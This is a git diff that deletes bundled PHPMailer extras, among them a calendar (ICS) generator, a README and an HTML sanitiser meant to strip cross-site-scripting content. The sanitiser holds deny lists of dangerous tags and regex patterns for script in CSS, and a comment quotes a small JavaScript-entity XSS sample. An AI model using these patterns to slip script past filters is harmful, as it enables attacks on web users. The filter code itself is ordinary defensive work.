-.syntaxhighlighter .string,.syntaxhighlighter .string a{color:#d11010 !important;} -.syntaxhighlighter .keyword{color:#006699 !important;} -.syntaxhighlighter .preprocessor{color:gray !important;} -.syntaxhighlighter .variable{color:#aa7700 !important;} -.syntaxhighlighter .value{color:#009900 !important;} -.syntaxhighlighter .functions{color:#ff1493 !important;} -.syntaxhighlighter .constants{color:#0066cc !important;} -.syntaxhighlighter .script{font-weight:bold !important;color:#006699 !important;background-color:none !important;} -.syntaxhighlighter .color1,.syntaxhighlighter .color1 a{color:gray !important;} -.syntaxhighlighter .color2,.syntaxhighlighter .color2 a{color:#ff1493 !important;} -.syntaxhighlighter .color3,.syntaxhighlighter .color3 a{color:red !important;} -.syntaxhighlighter .keyword{font-weight:bold !important;} diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/wrapping.png b/apps/maarch_entreprise/tools/PHPMailer/examples/styles/wrapping.png deleted file mode 100755 index 6972c5e5946080ca1dec4de09d9430d3edf6c555..0000000000000000000000000000000000000000 Binary files a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/wrapping.png and /dev/null differ diff --git a/apps/maarch_entreprise/tools/PHPMailer/extras/EasyPeasyICS.php b/apps/maarch_entreprise/tools/PHPMailer/extras/EasyPeasyICS.php deleted file mode 100755 index d8bfcfae65957cfd3015494bd5c3a3ca22219f6a..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/extras/EasyPeasyICS.php +++ /dev/null @@ -1,148 +0,0 @@ -<?php -/** - * EasyPeasyICS Simple ICS/vCal data generator. - * @author Marcus Bointon <phpmailer@synchromedia.co.uk> - * @author Manuel Reinhard <manu@sprain.ch> - * - * Built with inspiration from - * http://stackoverflow.com/questions/1463480/how-can-i-use-php-to-dynamically-publish-an-ical-file-to-be-read-by-google-calend/1464355#1464355 - * History: - * 2010/12/17 - Manuel Reinhard - when it all started - * 2014 PHPMailer project becomes maintainer - */ - -/** - * Class EasyPeasyICS. - * Simple ICS data generator - * @package phpmailer - * @subpackage easypeasyics - */ -class EasyPeasyICS -{ - /** - * The name of the calendar - * @var string - */ - protected $calendarName; - /** - * The array of events to add to this calendar - * @var array - */ - protected $events = array(); - - /** - * Constructor - * @param string $calendarName - */ - public function __construct($calendarName = "") - { - $this->calendarName = $calendarName; - } - - /** - * Add an event to this calendar. - * @param string $start The start date and time as a unix timestamp - * @param string $end The end date and time as a unix timestamp - * @param string $summary A summary or title for the event - * @param string $description A description of the event - * @param string $url A URL for the event - * @param string $uid A unique identifier for the event - generated automatically if not provided - * @return array An array of event details, including any generated UID - */ - public function addEvent($start, $end, $summary = '', $description = '', $url = '', $uid = '') - { - if (empty($uid)) { - $uid = md5(uniqid(mt_rand(), true)) . '@EasyPeasyICS'; - } - $event = array( - 'start' => gmdate('Ymd', $start) . 'T' . gmdate('His', $start) . 'Z', - 'end' => gmdate('Ymd', $end) . 'T' . gmdate('His', $end) . 'Z', - 'summary' => $summary, - 'description' => $description, - 'url' => $url, - 'uid' => $uid - ); - $this->events[] = $event; - return $event; - } - - /** - * @return array Get the array of events. - */ - public function getEvents() - { - return $this->events; - } - - /** - * Clear all events. - */ - public function clearEvents() - { - $this->events = array(); - } - - /** - * Get the name of the calendar. - * @return string - */ - public function getName() - { - return $this->calendarName; - } - - /** - * Set the name of the calendar. - * @param $name - */ - public function setName($name) - { - $this->calendarName = $name; - } - - /** - * Render and optionally output a vcal string. - * @param bool $output Whether to output the calendar data directly (the default). - * @return string The complete rendered vlal - */ - public function render($output = true) - { - //Add header - $ics = 'BEGIN:VCALENDAR -METHOD:PUBLISH -VERSION:2.0 -X-WR-CALNAME:' . $this->calendarName . ' -PRODID:-//hacksw/handcal//NONSGML v1.0//EN'; - - //Add events - foreach ($this->events as $event) { - $ics .= ' -BEGIN:VEVENT -UID:' . $event['uid'] . ' -DTSTAMP:' . gmdate('Ymd') . 'T' . gmdate('His') . 'Z -DTSTART:' . $event['start'] . ' -DTEND:' . $event['end'] . ' -SUMMARY:' . str_replace("\n", "\\n", $event['summary']) . ' -DESCRIPTION:' . str_replace("\n", "\\n", $event['description']) . ' -URL;VALUE=URI:' . $event['url'] . ' -END:VEVENT'; - } - - //Add footer - $ics .= ' -END:VCALENDAR'; - - if ($output) { - //Output - $filename = $this->calendarName; - //Filename needs quoting if it contains spaces - if (strpos($filename, ' ') !== false) { - $filename = '"'.$filename.'"'; - } - header('Content-type: text/calendar; charset=utf-8'); - header('Content-Disposition: inline; filename=' . $filename . '.ics'); - echo $ics; - } - return $ics; - } -} diff --git a/apps/maarch_entreprise/tools/PHPMailer/extras/README.md b/apps/maarch_entreprise/tools/PHPMailer/extras/README.md deleted file mode 100755 index dac79e05fad5fdef31371fbbe9e7a7af0f2cf950..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/extras/README.md +++ /dev/null @@ -1,17 +0,0 @@ -#PHPMailer Extras - -These classes provide optional additional functions to PHPMailer. - -These are not loaded by the PHPMailer autoloader, so in some cases you may need to `require` them yourself before using them. - -##EasyPeasyICS - -This class was originally written by Manuel Reinhard and provides a simple means of generating ICS/vCal files that are used in sending calendar events. PHPMailer does not use it directly, but you can use it to generate content appropriate for placing in the `Ical` property of PHPMailer. The PHPMailer project is now its official home as Manuel has given permission for that and is no longer maintaining it himself. - -##htmlfilter - -This class by Konstantin Riabitsev and Jim Jagielski implements HTML filtering to remove potentially malicious tags, such as `<script>` or `onclick=` attributes that can result in XSS attacks. This is a simple filter and is not as comprehensive as [HTMLawed](http://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/) or [HTMLPurifier](http://htmlpurifier.org), but it's easier to use and considerably better than nothing! PHPMailer does not use it directly, but you may want to apply it to user-supplied HTML before using it as a message body. - -##NTLM_SASL_client - -This class by Manuel Lemos (bundled with permission) adds the ability to authenticate with Microsoft Windows mail servers that use NTLM-based authentication. It is used by PHPMailer if you send via SMTP and set the `AuthType` property to `NTLM`; you will also need to use the `Realm` and `Workstation` properties. The original source is [here](http://www.phpclasses.org/browse/file/7495.html). diff --git a/apps/maarch_entreprise/tools/PHPMailer/extras/htmlfilter.php b/apps/maarch_entreprise/tools/PHPMailer/extras/htmlfilter.php deleted file mode 100755 index 5ac7d13c5aff634d6cb7cfda2890263bde2b5959..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/extras/htmlfilter.php +++ /dev/null @@ -1,1166 +0,0 @@ -<?php -/** - * htmlfilter.inc - * --------------- - * This set of functions allows you to filter html in order to remove - * any malicious tags from it. Useful in cases when you need to filter - * user input for any cross-site-scripting attempts. - * - * Copyright (C) 2002-2004 by Duke University - * - * This library is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * This library is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with this library; if not, write to the Free Software - * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA - * 02110-1301 USA - * - * @Author Konstantin Riabitsev <icon@linux.duke.edu> - * @Author Jim Jagielski <jim@jaguNET.com / jimjag@gmail.com> - * @Version 1.1 ($Date$) - */ - -/** - * This function returns the final tag out of the tag name, an array - * of attributes, and the type of the tag. This function is called by - * tln_sanitize internally. - * - * @param string $tagname the name of the tag. - * @param array $attary the array of attributes and their values - * @param integer $tagtype The type of the tag (see in comments). - * @return string A string with the final tag representation. - */ -function tln_tagprint($tagname, $attary, $tagtype) -{ - if ($tagtype == 2) { - $fulltag = '</' . $tagname . '>'; - } else { - $fulltag = '<' . $tagname; - if (is_array($attary) && sizeof($attary)) { - $atts = array(); - while (list($attname, $attvalue) = each($attary)) { - array_push($atts, "$attname=$attvalue"); - } - $fulltag .= ' ' . join(' ', $atts); - } - if ($tagtype == 3) { - $fulltag .= ' /'; - } - $fulltag .= '>'; - } - return $fulltag; -} - -/** - * A small helper function to use with array_walk. Modifies a by-ref - * value and makes it lowercase. - * - * @param string $val a value passed by-ref. - * @return void since it modifies a by-ref value. - */ -function tln_casenormalize(&$val) -{ - $val = strtolower($val); -} - -/** - * This function skips any whitespace from the current position within - * a string and to the next non-whitespace value. - * - * @param string $body the string - * @param integer $offset the offset within the string where we should start - * looking for the next non-whitespace character. - * @return integer the location within the $body where the next - * non-whitespace char is located. - */ -function tln_skipspace($body, $offset) -{ - preg_match('/^(\s*)/s', substr($body, $offset), $matches); - if (sizeof($matches[1])) { - $count = strlen($matches[1]); - $offset += $count; - } - return $offset; -} - -/** - * This function looks for the next character within a string. It's - * really just a glorified "strpos", except it catches the failures - * nicely. - * - * @param string $body The string to look for needle in. - * @param integer $offset Start looking from this position. - * @param string $needle The character/string to look for. - * @return integer location of the next occurrence of the needle, or - * strlen($body) if needle wasn't found. - */ -function tln_findnxstr($body, $offset, $needle) -{ - $pos = strpos($body, $needle, $offset); - if ($pos === false) { - $pos = strlen($body); - } - return $pos; -} - -/** - * This function takes a PCRE-style regexp and tries to match it - * within the string. - * - * @param string $body The string to look for needle in. - * @param integer $offset Start looking from here. - * @param string $reg A PCRE-style regex to match. - * @return array|boolean Returns a false if no matches found, or an array - * with the following members: - * - integer with the location of the match within $body - * - string with whatever content between offset and the match - * - string with whatever it is we matched - */ -function tln_findnxreg($body, $offset, $reg) -{ - $matches = array(); - $retarr = array(); - $preg_rule = '%^(.*?)(' . $reg . ')%s'; - preg_match($preg_rule, substr($body, $offset), $matches); - if (!isset($matches[0]) || !$matches[0]) { - $retarr = false; - } else { - $retarr[0] = $offset + strlen($matches[1]); - $retarr[1] = $matches[1]; - $retarr[2] = $matches[2]; - } - return $retarr; -} - -/** - * This function looks for the next tag. - * - * @param string $body String where to look for the next tag. - * @param integer $offset Start looking from here. - * @return array|boolean false if no more tags exist in the body, or - * an array with the following members: - * - string with the name of the tag - * - array with attributes and their values - * - integer with tag type (1, 2, or 3) - * - integer where the tag starts (starting "<") - * - integer where the tag ends (ending ">") - * first three members will be false, if the tag is invalid. - */ -function tln_getnxtag($body, $offset) -{ - if ($offset > strlen($body)) { - return false; - } - $lt = tln_findnxstr($body, $offset, '<'); - if ($lt == strlen($body)) { - return false; - } - /** - * We are here: - * blah blah <tag attribute="value"> - * \---------^ - */ - $pos = tln_skipspace($body, $lt + 1); - if ($pos >= strlen($body)) { - return array(false, false, false, $lt, strlen($body)); - } - /** - * There are 3 kinds of tags: - * 1. Opening tag, e.g.: - * <a href="blah"> - * 2. Closing tag, e.g.: - * </a> - * 3. XHTML-style content-less tag, e.g.: - * <img src="blah"/> - */ - switch (substr($body, $pos, 1)) { - case '/': - $tagtype = 2; - $pos++; - break; - case '!': - /** - * A comment or an SGML declaration. - */ - if (substr($body, $pos + 1, 2) == '--') { - $gt = strpos($body, '-->', $pos); - if ($gt === false) { - $gt = strlen($body); - } else { - $gt += 2; - } - return array(false, false, false, $lt, $gt); - } else { - $gt = tln_findnxstr($body, $pos, '>'); - return array(false, false, false, $lt, $gt); - } - break; - default: - /** - * Assume tagtype 1 for now. If it's type 3, we'll switch values - * later. - */ - $tagtype = 1; - break; - } - - /** - * Look for next [\W-_], which will indicate the end of the tag name. - */ - $regary = tln_findnxreg($body, $pos, '[^\w\-_]'); - if ($regary == false) { - return array(false, false, false, $lt, strlen($body)); - } - list($pos, $tagname, $match) = $regary; - $tagname = strtolower($tagname); - - /** - * $match can be either of these: - * '>' indicating the end of the tag entirely. - * '\s' indicating the end of the tag name. - * '/' indicating that this is type-3 xhtml tag. - * - * Whatever else we find there indicates an invalid tag. - */ - switch ($match) { - case '/': - /** - * This is an xhtml-style tag with a closing / at the - * end, like so: <img src="blah"/>. Check if it's followed - * by the closing bracket. If not, then this tag is invalid - */ - if (substr($body, $pos, 2) == '/>') { - $pos++; - $tagtype = 3; - } else { - $gt = tln_findnxstr($body, $pos, '>'); - $retary = array(false, false, false, $lt, $gt); - return $retary; - } - //intentional fall-through - case '>': - return array($tagname, false, $tagtype, $lt, $pos); - break; - default: - /** - * Check if it's whitespace - */ - if (!preg_match('/\s/', $match)) { - /** - * This is an invalid tag! Look for the next closing ">". - */ - $gt = tln_findnxstr($body, $lt, '>'); - return array(false, false, false, $lt, $gt); - } - break; - } - - /** - * At this point we're here: - * <tagname attribute='blah'> - * \-------^ - * - * At this point we loop in order to find all attributes. - */ - $attary = array(); - - while ($pos <= strlen($body)) { - $pos = tln_skipspace($body, $pos); - if ($pos == strlen($body)) { - /** - * Non-closed tag. - */ - return array(false, false, false, $lt, $pos); - } - /** - * See if we arrived at a ">" or "/>", which means that we reached - * the end of the tag. - */ - $matches = array(); - if (preg_match('%^(\s*)(>|/>)%s', substr($body, $pos), $matches)) { - /** - * Yep. So we did. - */ - $pos += strlen($matches[1]); - if ($matches[2] == '/>') { - $tagtype = 3; - $pos++; - } - return array($tagname, $attary, $tagtype, $lt, $pos); - } - - /** - * There are several types of attributes, with optional - * [:space:] between members. - * Type 1: - * attrname[:space:]=[:space:]'CDATA' - * Type 2: - * attrname[:space:]=[:space:]"CDATA" - * Type 3: - * attr[:space:]=[:space:]CDATA - * Type 4: - * attrname - * - * We leave types 1 and 2 the same, type 3 we check for - * '"' and convert to """ if needed, then wrap in - * double quotes. Type 4 we convert into: - * attrname="yes". - */ - $regary = tln_findnxreg($body, $pos, '[^\w\-_]'); - if ($regary == false) { - /** - * Looks like body ended before the end of tag. - */ - return array(false, false, false, $lt, strlen($body)); - } - list($pos, $attname, $match) = $regary; - $attname = strtolower($attname); - /** - * We arrived at the end of attribute name. Several things possible - * here: - * '>' means the end of the tag and this is attribute type 4 - * '/' if followed by '>' means the same thing as above - * '\s' means a lot of things -- look what it's followed by. - * anything else means the attribute is invalid. - */ - switch ($match) { - case '/': - /** - * This is an xhtml-style tag with a closing / at the - * end, like so: <img src="blah"/>. Check if it's followed - * by the closing bracket. If not, then this tag is invalid - */ - if (substr($body, $pos, 2) == '/>') { - $pos++; - $tagtype = 3; - } else { - $gt = tln_findnxstr($body, $pos, '>'); - $retary = array(false, false, false, $lt, $gt); - return $retary; - } - //intentional fall-through - case '>': - $attary{$attname} = '"yes"'; - return array($tagname, $attary, $tagtype, $lt, $pos); - break; - default: - /** - * Skip whitespace and see what we arrive at. - */ - $pos = tln_skipspace($body, $pos); - $char = substr($body, $pos, 1); - /** - * Two things are valid here: - * '=' means this is attribute type 1 2 or 3. - * \w means this was attribute type 4. - * anything else we ignore and re-loop. End of tag and - * invalid stuff will be caught by our checks at the beginning - * of the loop. - */ - if ($char == '=') { - $pos++; - $pos = tln_skipspace($body, $pos); - /** - * Here are 3 possibilities: - * "'" attribute type 1 - * '"' attribute type 2 - * everything else is the content of tag type 3 - */ - $quot = substr($body, $pos, 1); - if ($quot == '\'') { - $regary = tln_findnxreg($body, $pos + 1, '\''); - if ($regary == false) { - return array(false, false, false, $lt, strlen($body)); - } - list($pos, $attval, $match) = $regary; - $pos++; - $attary{$attname} = '\'' . $attval . '\''; - } elseif ($quot == '"') { - $regary = tln_findnxreg($body, $pos + 1, '\"'); - if ($regary == false) { - return array(false, false, false, $lt, strlen($body)); - } - list($pos, $attval, $match) = $regary; - $pos++; - $attary{$attname} = '"' . $attval . '"'; - } else { - /** - * These are hateful. Look for \s, or >. - */ - $regary = tln_findnxreg($body, $pos, '[\s>]'); - if ($regary == false) { - return array(false, false, false, $lt, strlen($body)); - } - list($pos, $attval, $match) = $regary; - /** - * If it's ">" it will be caught at the top. - */ - $attval = preg_replace('/\"/s', '"', $attval); - $attary{$attname} = '"' . $attval . '"'; - } - } elseif (preg_match('|[\w/>]|', $char)) { - /** - * That was attribute type 4. - */ - $attary{$attname} = '"yes"'; - } else { - /** - * An illegal character. Find next '>' and return. - */ - $gt = tln_findnxstr($body, $pos, '>'); - return array(false, false, false, $lt, $gt); - } - break; - } - } - /** - * The fact that we got here indicates that the tag end was never - * found. Return invalid tag indication so it gets stripped. - */ - return array(false, false, false, $lt, strlen($body)); -} - -/** - * Translates entities into literal values so they can be checked. - * - * @param string $attvalue the by-ref value to check. - * @param string $regex the regular expression to check against. - * @param boolean $hex whether the entites are hexadecimal. - * @return boolean True or False depending on whether there were matches. - */ -function tln_deent(&$attvalue, $regex, $hex = false) -{ - preg_match_all($regex, $attvalue, $matches); - if (is_array($matches) && sizeof($matches[0]) > 0) { - $repl = array(); - for ($i = 0; $i < sizeof($matches[0]); $i++) { - $numval = $matches[1][$i]; - if ($hex) { - $numval = hexdec($numval); - } - $repl{$matches[0][$i]} = chr($numval); - } - $attvalue = strtr($attvalue, $repl); - return true; - } else { - return false; - } -} - -/** - * This function checks attribute values for entity-encoded values - * and returns them translated into 8-bit strings so we can run - * checks on them. - * - * @param string $attvalue A string to run entity check against. - * @return Void, modifies a reference value. - */ -function tln_defang(&$attvalue) -{ - /** - * Skip this if there aren't ampersands or backslashes. - */ - if (strpos($attvalue, '&') === false - && strpos($attvalue, '\\') === false - ) { - return; - } - do { - $m = false; - $m = $m || tln_deent($attvalue, '/\�*(\d+);*/s'); - $m = $m || tln_deent($attvalue, '/\�*((\d|[a-f])+);*/si', true); - $m = $m || tln_deent($attvalue, '/\\\\(\d+)/s', true); - } while ($m == true); - $attvalue = stripslashes($attvalue); -} - -/** - * Kill any tabs, newlines, or carriage returns. Our friends the - * makers of the browser with 95% market value decided that it'd - * be funny to make "java[tab]script" be just as good as "javascript". - * - * @param string $attvalue The attribute value before extraneous spaces removed. - * @return Void, modifies a reference value. - */ -function tln_unspace(&$attvalue) -{ - if (strcspn($attvalue, "\t\r\n\0 ") != strlen($attvalue)) { - $attvalue = str_replace( - array("\t", "\r", "\n", "\0", " "), - array('', '', '', '', ''), - $attvalue - ); - } -} - -/** - * This function runs various checks against the attributes. - * - * @param string $tagname String with the name of the tag. - * @param array $attary Array with all tag attributes. - * @param array $rm_attnames See description for tln_sanitize - * @param array $bad_attvals See description for tln_sanitize - * @param array $add_attr_to_tag See description for tln_sanitize - * @param string $trans_image_path - * @param boolean $block_external_images - * @return Array with modified attributes. - */ -function tln_fixatts( - $tagname, - $attary, - $rm_attnames, - $bad_attvals, - $add_attr_to_tag, - $trans_image_path, - $block_external_images -) { - while (list($attname, $attvalue) = each($attary)) { - /** - * See if this attribute should be removed. - */ - foreach ($rm_attnames as $matchtag => $matchattrs) { - if (preg_match($matchtag, $tagname)) { - foreach ($matchattrs as $matchattr) { - if (preg_match($matchattr, $attname)) { - unset($attary{$attname}); - continue; - } - } - } - } - /** - * Remove any backslashes, entities, or extraneous whitespace. - */ - $oldattvalue = $attvalue; - tln_defang($attvalue); - if ($attname == 'style' && $attvalue !== $oldattvalue) { - $attvalue = "idiocy"; - $attary{$attname} = $attvalue; - } - tln_unspace($attvalue); - - /** - * Now let's run checks on the attvalues. - * I don't expect anyone to comprehend this. If you do, - * get in touch with me so I can drive to where you live and - * shake your hand personally. :) - */ - foreach ($bad_attvals as $matchtag => $matchattrs) { - if (preg_match($matchtag, $tagname)) { - foreach ($matchattrs as $matchattr => $valary) { - if (preg_match($matchattr, $attname)) { - /** - * There are two arrays in valary. - * First is matches. - * Second one is replacements - */ - list($valmatch, $valrepl) = $valary; - $newvalue = preg_replace($valmatch, $valrepl, $attvalue); - if ($newvalue != $attvalue) { - $attary{$attname} = $newvalue; - $attvalue = $newvalue; - } - } - } - } - } - if ($attname == 'style') { - if (preg_match('/[\0-\37\200-\377]+/', $attvalue)) { - $attary{$attname} = '"disallowed character"'; - } - preg_match_all("/url\s*\((.+)\)/si", $attvalue, $aMatch); - if (count($aMatch)) { - foreach($aMatch[1] as $sMatch) { - $urlvalue = $sMatch; - tln_fixurl($attname, $urlvalue, $trans_image_path, $block_external_images); - $attary{$attname} = str_replace($sMatch, $urlvalue, $attvalue); - } - } - } - } - /** - * See if we need to append any attributes to this tag. - */ - foreach ($add_attr_to_tag as $matchtag => $addattary) { - if (preg_match($matchtag, $tagname)) { - $attary = array_merge($attary, $addattary); - } - } - return $attary; -} - -function tln_fixurl($attname, &$attvalue, $trans_image_path, $block_external_images) -{ - $sQuote = '"'; - $attvalue = trim($attvalue); - if ($attvalue && ($attvalue[0] =='"'|| $attvalue[0] == "'")) { - // remove the double quotes - $sQuote = $attvalue[0]; - $attvalue = trim(substr($attvalue,1,-1)); - } - - /** - * Replace empty src tags with the blank image. src is only used - * for frames, images, and image inputs. Doing a replace should - * not affect them working as should be, however it will stop - * IE from being kicked off when src for img tags are not set - */ - if ($attvalue == '') { - $attvalue = $sQuote . $trans_image_path . $sQuote; - } else { - // first, disallow 8 bit characters and control characters - if (preg_match('/[\0-\37\200-\377]+/',$attvalue)) { - switch ($attname) { - case 'href': - $attvalue = $sQuote . 'http://invalid-stuff-detected.example.com' . $sQuote; - break; - default: - $attvalue = $sQuote . $trans_image_path . $sQuote; - break; - } - } else { - $aUrl = parse_url($attvalue); - if (isset($aUrl['scheme'])) { - switch(strtolower($aUrl['scheme'])) { - case 'mailto': - case 'http': - case 'https': - case 'ftp': - if ($attname != 'href') { - if ($block_external_images == true) { - $attvalue = $sQuote . $trans_image_path . $sQuote; - } else { - if (!isset($aUrl['path'])) { - $attvalue = $sQuote . $trans_image_path . $sQuote; - } - } - } else { - $attvalue = $sQuote . $attvalue . $sQuote; - } - break; - case 'outbind': - $attvalue = $sQuote . $attvalue . $sQuote; - break; - case 'cid': - $attvalue = $sQuote . $attvalue . $sQuote; - break; - default: - $attvalue = $sQuote . $trans_image_path . $sQuote; - break; - } - } else { - if (!isset($aUrl['path']) || $aUrl['path'] != $trans_image_path) { - $$attvalue = $sQuote . $trans_image_path . $sQuote; - } - } - } - } -} - -function tln_fixstyle($body, $pos, $trans_image_path, $block_external_images) -{ - $me = 'tln_fixstyle'; - // workaround for </style> in between comments - $iCurrentPos = $pos; - $content = ''; - $sToken = ''; - $bSucces = false; - $bEndTag = false; - for ($i=$pos,$iCount=strlen($body);$i<$iCount;++$i) { - $char = $body{$i}; - switch ($char) { - case '<': - $sToken = $char; - break; - case '/': - if ($sToken == '<') { - $sToken .= $char; - $bEndTag = true; - } else { - $content .= $char; - } - break; - case '>': - if ($bEndTag) { - $sToken .= $char; - if (preg_match('/\<\/\s*style\s*\>/i',$sToken,$aMatch)) { - $newpos = $i + 1; - $bSucces = true; - break 2; - } else { - $content .= $sToken; - } - $bEndTag = false; - } else { - $content .= $char; - } - break; - case '!': - if ($sToken == '<') { - // possible comment - if (isset($body{$i+2}) && substr($body,$i,3) == '!--') { - $i = strpos($body,'-->',$i+3); - if ($i === false) { // no end comment - $i = strlen($body); - } - $sToken = ''; - } - } else { - $content .= $char; - } - break; - default: - if ($bEndTag) { - $sToken .= $char; - } else { - $content .= $char; - } - break; - } - } - if ($bSucces == FALSE){ - return array(FALSE, strlen($body)); - } - - - - /** - * First look for general BODY style declaration, which would be - * like so: - * body {background: blah-blah} - * and change it to .bodyclass so we can just assign it to a <div> - */ - $content = preg_replace("|body(\s*\{.*?\})|si", ".bodyclass\\1", $content); - - $trans_image_path = $trans_image_path; - - /** - * Fix url('blah') declarations. - */ - // $content = preg_replace("|url\s*\(\s*([\'\"])\s*\S+script\s*:.*?([\'\"])\s*\)|si", - // "url(\\1$trans_image_path\\2)", $content); - - // first check for 8bit sequences and disallowed control characters - if (preg_match('/[\16-\37\200-\377]+/',$content)) { - $content = '<!-- style block removed by html filter due to presence of 8bit characters -->'; - return array($content, $newpos); - } - - // remove @import line - $content = preg_replace("/^\s*(@import.*)$/mi","\n<!-- @import rules forbidden -->\n",$content); - - $content = preg_replace("/(\\\\)?u(\\\\)?r(\\\\)?l(\\\\)?/i", 'url', $content); - preg_match_all("/url\s*\((.+)\)/si",$content,$aMatch); - if (count($aMatch)) { - $aValue = $aReplace = array(); - foreach($aMatch[1] as $sMatch) { - // url value - $urlvalue = $sMatch; - tln_fixurl('style',$urlvalue, $trans_image_path, $block_external_images); - $aValue[] = $sMatch; - $aReplace[] = $urlvalue; - } - $content = str_replace($aValue,$aReplace,$content); - } - - /** - * Remove any backslashes, entities, and extraneous whitespace. - */ - $contentTemp = $content; - tln_defang($contentTemp); - tln_unspace($contentTemp); - - $match = Array('/\/\*.*\*\//', - '/expression/i', - '/behaviou*r/i', - '/binding/i', - '/include-source/i', - '/javascript/i', - '/script/i', - '/position/i'); - $replace = Array('','idiocy', 'idiocy', 'idiocy', 'idiocy', 'idiocy', 'idiocy', ''); - $contentNew = preg_replace($match, $replace, $contentTemp); - if ($contentNew !== $contentTemp) { - $content = $contentNew; - } - return array($content, $newpos); -} - -function tln_body2div($attary, $trans_image_path) -{ - $me = 'tln_body2div'; - $divattary = array('class' => "'bodyclass'"); - $text = '#000000'; - $has_bgc_stl = $has_txt_stl = false; - $styledef = ''; - if (is_array($attary) && sizeof($attary) > 0){ - foreach ($attary as $attname=>$attvalue){ - $quotchar = substr($attvalue, 0, 1); - $attvalue = str_replace($quotchar, "", $attvalue); - switch ($attname){ - case 'background': - $styledef .= "background-image: url('$trans_image_path'); "; - break; - case 'bgcolor': - $has_bgc_stl = true; - $styledef .= "background-color: $attvalue; "; - break; - case 'text': - $has_txt_stl = true; - $styledef .= "color: $attvalue; "; - break; - } - } - // Outlook defines a white bgcolor and no text color. This can lead to - // white text on a white bg with certain themes. - if ($has_bgc_stl && !$has_txt_stl) { - $styledef .= "color: $text; "; - } - if (strlen($styledef) > 0){ - $divattary{"style"} = "\"$styledef\""; - } - } - return $divattary; -} - -/** - * - * @param string $body The HTML you wish to filter - * @param array $tag_list see description above - * @param array $rm_tags_with_content see description above - * @param array $self_closing_tags see description above - * @param boolean $force_tag_closing see description above - * @param array $rm_attnames see description above - * @param array $bad_attvals see description above - * @param array $add_attr_to_tag see description above - * @param string $trans_image_path - * @param boolean $block_external_images - - * @return string Sanitized html safe to show on your pages. - */ -function tln_sanitize( - $body, - $tag_list, - $rm_tags_with_content, - $self_closing_tags, - $force_tag_closing, - $rm_attnames, - $bad_attvals, - $add_attr_to_tag, - $trans_image_path, - $block_external_images -) { - /** - * Normalize rm_tags and rm_tags_with_content. - */ - $rm_tags = array_shift($tag_list); - @array_walk($tag_list, 'tln_casenormalize'); - @array_walk($rm_tags_with_content, 'tln_casenormalize'); - @array_walk($self_closing_tags, 'tln_casenormalize'); - /** - * See if tag_list is of tags to remove or tags to allow. - * false means remove these tags - * true means allow these tags - */ - $curpos = 0; - $open_tags = array(); - $trusted = "<!-- begin tln_sanitized html -->\n"; - $skip_content = false; - /** - * Take care of netscape's stupid javascript entities like - * &{alert('boo')}; - */ - $body = preg_replace('/&(\{.*?\};)/si', '&\\1', $body); - while (($curtag = tln_getnxtag($body, $curpos)) != false) { - list($tagname, $attary, $tagtype, $lt, $gt) = $curtag; - $free_content = substr($body, $curpos, $lt-$curpos); - /** - * Take care of <style> - */ - if ($tagname == "style" && $tagtype == 1){ - list($free_content, $curpos) = - tln_fixstyle($body, $gt+1, $trans_image_path, $block_external_images); - if ($free_content != FALSE){ - if ( !empty($attary) ) { - $attary = tln_fixatts($tagname, - $attary, - $rm_attnames, - $bad_attvals, - $add_attr_to_tag, - $trans_image_path, - $block_external_images - ); - } - $trusted .= tln_tagprint($tagname, $attary, $tagtype); - $trusted .= $free_content; - $trusted .= tln_tagprint($tagname, false, 2); - } - continue; - } - if ($skip_content == false){ - $trusted .= $free_content; - } - if ($tagname != false) { - if ($tagtype == 2) { - if ($skip_content == $tagname) { - /** - * Got to the end of tag we needed to remove. - */ - $tagname = false; - $skip_content = false; - } else { - if ($skip_content == false) { - if ($tagname == "body") { - $tagname = "div"; - } - if (isset($open_tags{$tagname}) && - $open_tags{$tagname} > 0 - ) { - $open_tags{$tagname}--; - } else { - $tagname = false; - } - } - } - } else { - /** - * $rm_tags_with_content - */ - if ($skip_content == false) { - /** - * See if this is a self-closing type and change - * tagtype appropriately. - */ - if ($tagtype == 1 - && in_array($tagname, $self_closing_tags) - ) { - $tagtype = 3; - } - /** - * See if we should skip this tag and any content - * inside it. - */ - if ($tagtype == 1 - && in_array($tagname, $rm_tags_with_content) - ) { - $skip_content = $tagname; - } else { - if (($rm_tags == false - && in_array($tagname, $tag_list)) || - ($rm_tags == true - && !in_array($tagname, $tag_list)) - ) { - $tagname = false; - } else { - /** - * Convert body into div. - */ - if ($tagname == "body"){ - $tagname = "div"; - $attary = tln_body2div($attary, $trans_image_path); - } - if ($tagtype == 1) { - if (isset($open_tags{$tagname})) { - $open_tags{$tagname}++; - } else { - $open_tags{$tagname} = 1; - } - } - /** - * This is where we run other checks. - */ - if (is_array($attary) && sizeof($attary) > 0) { - $attary = tln_fixatts( - $tagname, - $attary, - $rm_attnames, - $bad_attvals, - $add_attr_to_tag, - $trans_image_path, - $block_external_images - ); - } - } - } - } - } - if ($tagname != false && $skip_content == false) { - $trusted .= tln_tagprint($tagname, $attary, $tagtype); - } - } - $curpos = $gt + 1; - } - $trusted .= substr($body, $curpos, strlen($body) - $curpos); - if ($force_tag_closing == true) { - foreach ($open_tags as $tagname => $opentimes) { - while ($opentimes > 0) { - $trusted .= '</' . $tagname . '>'; - $opentimes--; - } - } - $trusted .= "\n"; - } - $trusted .= "<!-- end tln_sanitized html -->\n"; - return $trusted; -} - -// -// Use the nifty htmlfilter library -// - - -function HTMLFilter($body, $trans_image_path, $block_external_images = false) -{ - - $tag_list = array( - false, - "object", - "meta", - "html", - "head", - "base", - "link", - "frame", - "iframe", - "plaintext", - "marquee" - ); - - $rm_tags_with_content = array( - "script", - "applet", - "embed", - "title", - "frameset", - "xmp", - "xml" - ); - - $self_closing_tags = array( - "img", - "br", - "hr", - "input", - "outbind" - ); - - 